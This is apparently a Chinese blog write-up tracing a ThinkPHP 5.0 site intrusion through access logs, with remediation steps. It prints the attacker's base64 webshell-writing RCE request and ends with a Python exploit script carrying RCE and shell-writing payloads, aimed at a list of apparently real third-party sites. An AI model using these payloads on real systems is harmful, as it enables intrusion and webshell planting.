記錄一個基於ThinkPHP網站被入侵到溯源的過程
摘要：
昨天晚上，正準備入睡，朋友突然發訊息說他的網站被黑客攻擊了，首頁內容被篡改，於是我開始了緊急的修復工作
知道這個情況後，立即翻身起來，讓朋友發給我必要的資訊，把網站的日誌下載到本地，因為網站本身的訪問量不是很大，所以直接使用 notepad++ 來手動分析。
0x01 下載必要...
昨天晚上，正準備入睡，朋友突然發訊息說他的網站被黑客攻擊了，首頁內容被篡改，於是我開始了緊急的修復工作
知道這個情況後，立即翻身起來，讓朋友發給我必要的資訊，把網站的日誌下載到本地，因為網站本身的訪問量不是很大，所以直接使用 notepad++ 來手動分析。
0x01 下載必要檔案
首先將日誌檔案、現在網站空間的原始碼以及之前的網站備份下載到本地，這一步是為了比較分析。
0x02 日誌分析
從網站首頁被篡改，可知道攻擊者應該拿下了網站的許可權，並上傳了 webshell ，因此從攻擊日誌中查詢網站非常規的訪問URL記錄。
發現如下的訪問日誌：
203.171.228.159 - - [30/Jan/2019:09:52:46 +0800] "POST //plus/mytag_js.php?aid=9527 HTTP/1.1" 301 178 "http://pay.top15.cn//plus/mytag_js.php?aid=9527" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:46 +0800] "GET /plus/mytag_js.php?aid=9527 HTTP/1.1" 404 564 "http://pay.top15.cn//plus/mytag_js.php?aid=9527" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:46 +0800] "GET /plus/mytag_js.php?aid=9527 HTTP/1.1" 404 564 "http://pay.top15.cn//plus/mytag_js.php?aid=9527" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:48 +0800] "POST //plus/mytag_js.php?aid=9527 HTTP/1.1" 301 178 "http://pay.top15.cn//plus/mytag_js.php?aid=9527" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:48 +0800] "POST //plus/mytag_js.php?aid=9527 HTTP/1.1" 301 178 "http://pay.top15.cn//plus/mytag_js.php?aid=9527" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:48 +0800] "GET /plus/mytag_js.php?aid=9527 HTTP/1.1" 404 564 "http://pay.top15.cn//plus/mytag_js.php?aid=9527" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //data/cache/asd.php HTTP/1.1" 301 178 "http://pay.top15.cn//data/cache/asd.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /data/cache/asd.php HTTP/1.1" 404 564 "http://pay.top15.cn//data/cache/asd.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //plus/result.php HTTP/1.1" 301 178 "http://pay.top15.cn//plus/result.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /plus/result.php HTTP/1.1" 404 564 "http://pay.top15.cn//plus/result.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //plus/read.php HTTP/1.1" 301 178 "http://pay.top15.cn//plus/read.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /plus/read.php HTTP/1.1" 404 564 "http://pay.top15.cn//plus/read.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //data/cache/flye.php HTTP/1.1" 301 178 "http://pay.top15.cn//data/cache/flye.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /data/cache/flye.php HTTP/1.1" 404 564 "http://pay.top15.cn//data/cache/flye.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //plus/moon.php HTTP/1.1" 301 178 "http://pay.top15.cn//plus/moon.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /plus/moon.php HTTP/1.1" 404 564 "http://pay.top15.cn//plus/moon.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //api.php HTTP/1.1" 301 178 "http://pay.top15.cn//api.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /api.php HTTP/1.1" 404 564 "http://pay.top15.cn//api.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //lequ.php HTTP/1.1" 301 178 "http://pay.top15.cn//lequ.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /lequ.php HTTP/1.1" 404 564 "http://pay.top15.cn//lequ.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //lx.php HTTP/1.1" 301 178 "http://pay.top15.cn//lx.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /lx.php HTTP/1.1" 404 564 "http://pay.top15.cn//lx.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "POST //sb.php HTTP/1.1" 301 178 "http://pay.top15.cn//sb.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /sb.php HTTP/1.1" 404 564 "http://pay.top15.cn//sb.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 203.171.228.159 - - [30/Jan/2019:09:52:49 +0800] "GET /install/sss1.php HTTP/1.1" 404 564 "http://pay.top15.cn//install/sss1.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
看到這樣的訪問日誌，很明顯這是一個掃描器在掃描網站是否存在 webshell
查詢ip：
可知，這是放在伺服器上的掃描器
繼續往下分析，時間順序是從上往下增加的。
然後又發現一處集中掃描網站備份檔案的日誌記錄：
117.152.74.243 - - [06/Feb/2019:10:27:06 +0800] "HEAD /index.php?s=hits-show&sid=md5(1)%23&type=md5(1) HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:06 +0800] "HEAD /paytop15cn.rar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:06 +0800] "HEAD /paytop15cn.zip HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:06 +0800] "HEAD /paytop15cn.tar.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:06 +0800] "HEAD /paytop15cn.tar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:07 +0800] "HEAD /paytop15cn.sql HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:07 +0800] "HEAD /paytop15cn.sql.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:07 +0800] "HEAD /pay.top15.cn.rar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:07 +0800] "HEAD /pay.top15.cn.zip HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:07 +0800] "HEAD /pay.top15.cn.tar.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:07 +0800] "HEAD /pay.top15.cn.tar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:08 +0800] "HEAD /pay.top15.cn.sql HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:08 +0800] "HEAD /pay.top15.cn.sql.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:08 +0800] "HEAD /top15.cn.rar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:08 +0800] "HEAD /top15.cn.zip HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:08 +0800] "HEAD /top15.cn.tar.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:08 +0800] "HEAD /top15.cn.tar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /top15.cn.sql HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /top15.cn.sql.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /top15.rar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /top15.zip HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /top15.tar.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /top15.tar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /top15.sql HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /top15.sql.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /wwwtop15.rar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:09 +0800] "HEAD /wwwtop15.zip HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /wwwtop15.tar.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /wwwtop15.tar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /wwwtop15.sql HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /wwwtop15.sql.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /public_html.zip HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /public_html.rar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /public_html.tar.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /public_html.tar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /www.rar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:10 +0800] "HEAD /www.zip HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:11 +0800] "HEAD /www.tar.gz HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" 117.152.74.243 - - [06/Feb/2019:10:27:11 +0800] "HEAD /www.tar HTTP/1.1" 404 0 "-" "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)"
查詢IP結果如下：
想不到，小小的站點，攻擊的人還挺多的，但是這些掃描基本都是徒勞的，網站上不存在這些內容，所以也不存在什麼威脅（之後的幾處地方也存在類似的掃描記錄，正常訪問的使用者不多，倒是掃描器挺多的…⊙﹏⊙b汗）
網站的首頁被改成了一串中文，那麼在訪問日誌當中應當是存在的
在下載的網站檔案 /public 目錄下，發現如下情況
index.php 和 i.php ，乍一看，第二個檔案很明顯是 webshell 檔案，然後到訪問日誌中，查詢 i.php 這個關鍵詞
OK，成功定位攻擊日誌
很明顯，攻擊者在簡單訪問幾次後，便直接使用了 0day 攻擊，系統基於 ThinkPHP5.0 ，因此由最近爆出的 ThinkPHP 幾個 RCE 漏洞，可知攻擊者直接利用了該漏洞。
113.103.115.134 - - [15/Feb/2019:17:26:04 +0800] "GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=eval(base64_decode(%27JGYgPSBmb3BlbigiaS5waHAiLCAidyIpOw0KJHQgPSAnPD9waHAgJGEgPSBiYXNlNjRfZGVjb2RlKFwnWVhOelpYSjBcJyk7JGEoJF9SRVFVRVNUW1wnaVwnXSk7Pz4nOw0KZndyaXRlKCRmLCR0KTsNCmZjbG9zZSgkZik7%27)) HTTP/1.1" 500 7345 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
這個定位不是特別準確，但是也差不了多少了，真人概率 92% ，可以確定攻擊者使用的應該是自家的電腦。
0x03 修復工作
既然是最新的漏洞攻擊，之前也挺熱的，畢竟讓程式設計師加班幾次了。
關於漏洞的分析，推薦文章《 ThinkPHP 5.0 & 5.1遠端命令執行漏洞利用分析 》
通過該文章的分析，在原始碼中發現該程式基於 TP5.0 ，那麼修復方法有其一，修改預設的 'var_pathinfo' => 's' ，把 s 修改成複雜的字串，這個在 thinkphp/convention.php 檔案中
其二，升級官方最新版本
其三，在 thinkphp/library/think/App.php 類的 module 方法的獲取控制器的程式碼後面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
0x04 寫一個EXP：
簡單寫了一個 exploit ：
# -*- coding:utf-8 -*-
# name:tpKiller.py
# author: DYBOY
# description: ThinkPHP5 RCE的POC
# time: 2019-02-16
import requests
import re
"""
5.0.21,5.0.22：
寫shell：http://example.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php @assert($_POST);?>
5.1.*:
寫shell：http://example.com/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @assert($_POST);?>
"""
# 檢測存在漏洞的網址列表
target_urls =[
'http://www.test.com',
'http://www.meetppt.com',
'http://www.jiyouche.com',
'http://www.dfqy.com',
'http://home.chegouguanjia.com',
'http://www.aixuetuan.com'
]
# payload列表
poc_list = [
'/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
'/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
'/index.php?s=index/\think\Request/input&filter=phpinfo&data=1',
]
def getHtml(url):
"""
獲取網頁內容
param: url
return str
"""
html = requests.get(url)
html.encoding = 'utf-8'
return html.text
def checkBug(url):
"""
驗證是否存在RCE漏洞
param: url
return None
"""
for index,poc in enumerate(poc_list):
result = getHtml(url+poc)
if(result.find('www.php.net') > 0):
print("當前URL："+ url+" 存在ThinkPHP5 RCE 漏洞！\nPOC編號: "+str(index+1))
break
def attack(urlList):
"""
開始檢測
param:urls(<type:list>)
return None
"""
for url in urlList:
checkBug(url)
# 主程式
if __name__ == '__main__':
attack(target_urls)
0x05 總結
12月份就爆出 ThinkPHP 的 RCE 漏洞，年底，許多公司都在忙著財務、公司年會等事情，缺少了對網站安全的一個檢查維護，卻不知道，在網上一些“黑客”或者“黑產團隊”已經開始了批量獲取 webshell 的入侵等違法活動，因此各大公司或是個人站長，都需要時刻關注網際網路安全動態，及時做好安全防護升級工作。